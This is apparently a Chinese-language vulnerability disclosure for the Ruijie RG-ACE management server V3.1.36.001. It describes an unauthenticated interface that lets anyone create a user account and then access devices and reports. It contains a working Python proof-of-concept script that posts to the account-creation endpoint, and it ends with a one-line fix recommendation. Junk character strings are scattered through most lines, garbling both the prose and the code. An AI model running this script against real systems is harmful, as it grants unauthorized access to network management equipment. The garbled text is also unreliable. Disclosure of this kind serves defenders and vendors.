锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低): c/ n: M v2 s
# A' w8 @( C o# t
* H& U( a' i2 Q# d& L
测试的具体版本是
i1 n8 |, S7 A- S; ~0 V产品名称: 锐捷应用控制引擎
2 |& t% c3 C. c版本号: 3.1.36.001 TC
: |+ P, m4 c; H* L编译时间: 201104291730
7 ?# O9 O+ V3 D2 _7 m( T0 k 8 S1 Q" N. Q1 r, e1 X/ ], d
9 W# O+ B+ `9 { n漏洞证明:2 [/ p. n, `1 e/ M* r1 ]
( O& x1 d. `' }8 j% _! m* h
) B1 ]$ o# F, S* H8 `' _! c0 J' M% H. l
5 R6 K# ] d! y, k" t/ h. J+ N5 u" P
$ s. K& E: m: n) k3 J1 p2 k9 e
# L& F- P; a. h9 k# @& ~
执行脚本
1 m4 m1 e* T; @! j& K( E# c* [8 Z#! /usr/bin/env python0 i% F# z. ]" K, O9 B" U& J
#coding=gbk* n7 d- S( A2 ~2 K
#RG-ACE管理服务器 V3.1.36.001
' g4 `. _# C. t0 S' Bimport urllib2, urllib,cookielib
: a3 ^5 H2 i6 N% q2 Turl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP+ ~9 u9 v4 V+ [ G, K4 M
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
- b! p5 W! f# H/ h) D% Z; ^/ s& I S' Lopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]3 U; k( p! E% g4 i# _( P. @
post=(("event","userManager.doInsertUserInfo"),
/ B+ V: o+ G4 t5 q+ x("useractionname","addButtonValue"),
; J1 s' @, ?) V& S("useropermanager","userManager"),
/ s' x; }2 M# }("userName","t"), #######账号自己加0 L* z* D1 I) z
("pwd","aaaaaa"),######密码自己加
; t% d- Z: b, c' d- ]+ _("trueName","ad"),5 z' o. U. y g: U' b. ~ [
("email",""),
9 D; {* m7 W- [/ M9 @("mobilePhone",""),3 B# U# b- i$ Q, } y" u4 V
("officePhone",""),
; t) `! V2 N3 g2 K. c7 r("addr","")," p& j. q6 o1 s9 m- Y
("submit","确定"))
; u% K* }; n# q2 a1 w# Y durllib2.install_opener(opener)
/ L" x0 J. K3 N# t5 |2 Pp=urllib2.urlopen(url, urllib.urlencode(post)).read()
9 A/ I0 O1 z5 fprint "Done"
# S' |2 }* K P$ f) D" t$ F* {. C- g ^. ~& }0 o/ ?8 z
登录,连接设备4 i* B! |2 z7 P4 M4 [' e X# e
2 E b( [! A- Z7 P$ K- x$ d9 x/ @" m5 V1 B2 G9 B0 T# X
( ^2 x6 y& ^: o7 G3 A% z
7 j* B& T: h" D4 u
4 d2 s1 W# d4 h0 U- g7 _默认的管理员admin权限更大点6 A0 o5 a1 q* W9 Y
( J6 a7 s* T, ^3 [; `6 K E4 e7 j8 t
; \) w% I/ ]; b$ r9 x/ y # h8 L! b& E3 v; m. @% q
+ y6 v5 |2 Z+ ?/ c% H
修复方案:
0 U7 h9 Z; q4 R' j. P加强对接口的权限验证
# e! P! f* h/ {" q0 n+ p) j9 V+ k9 o" e
|